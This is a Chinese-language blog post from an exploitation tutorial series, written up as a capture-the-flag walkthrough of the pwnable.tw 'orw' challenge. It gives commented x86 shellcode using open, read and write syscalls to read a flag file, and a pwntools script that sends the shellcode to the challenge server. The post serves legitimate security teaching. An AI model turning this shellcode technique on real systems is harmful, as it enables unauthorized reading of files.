iT邦幫忙

2024 iThome 鐵人賽

DAY 17
0
Security

Pwn2Noooo! 執行即 Crash 的 PWNer 養成遊戲系列 第 17

[Day17] Pwnable.tw 基礎題實戰(四)

  • 分享至 

  • xImage
  •  

題目pwnable.tw 的題目,第二題 orw

昨天寫到他就是一個可以輸入 shellcode 但是只能使用 open、read、write。
我們要想辦法讀到 flag,所以我們可以:

;設定 eax 寄存器為 5,是 sys_open 的編號
mov eax,5

;將要打開的文件路徑 /home/orw/flag push 進去
push 0x00006761
push 0x6c662f77
push 0x726f2f65
push 0x6d6f682f

; esp 寄存器的值(包含文件路徑)放入 ebx 寄存器
mov ebx,esp

;將 ecx 和 edx 寄存器設置為零
xor ecx,ecx
xor edx,edx

;觸發系統調用,執行打開指定的文件
int 0x80

;設定 eax 寄存器為 3,是 sys_read 的編號。
mov eax,3
mov ecx,ebx
mov ebx,3
mov edx,0x40
int 0x80

;;設定 eax 寄存器為 4,是 sys_write 的編號
mov eax,4
mov ebx,1
mov edx,0x40
int 0x80

透過 asm 轉換,整個 payload 如下

from pwn import *

p=remote('chall.pwnable.tw',10001)

p.recvuntil(':')

shellcode="""
mov eax,5;
push 0x00006761;
push 0x6c662f77;
push 0x726f2f65;
push 0x6d6f682f;
mov ebx,esp;
xor ecx,ecx;
xor edx,edx;
int 0x80;

mov eax,3;
mov ecx,ebx;
mov ebx,eax;
mov edx,0x40;
int 0x80;

mov eax,4;
mov ebx,1;
mov edx,0x40;
int 0x80;
"""

p.sendline(asm(shellcode))
p.interactive()

上一篇
[Day16] Pwnable.tw 基礎題實戰(三)
下一篇
[Day18] Heap 介紹 - 概念
系列文
Pwn2Noooo! 執行即 Crash 的 PWNer 養成遊戲30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言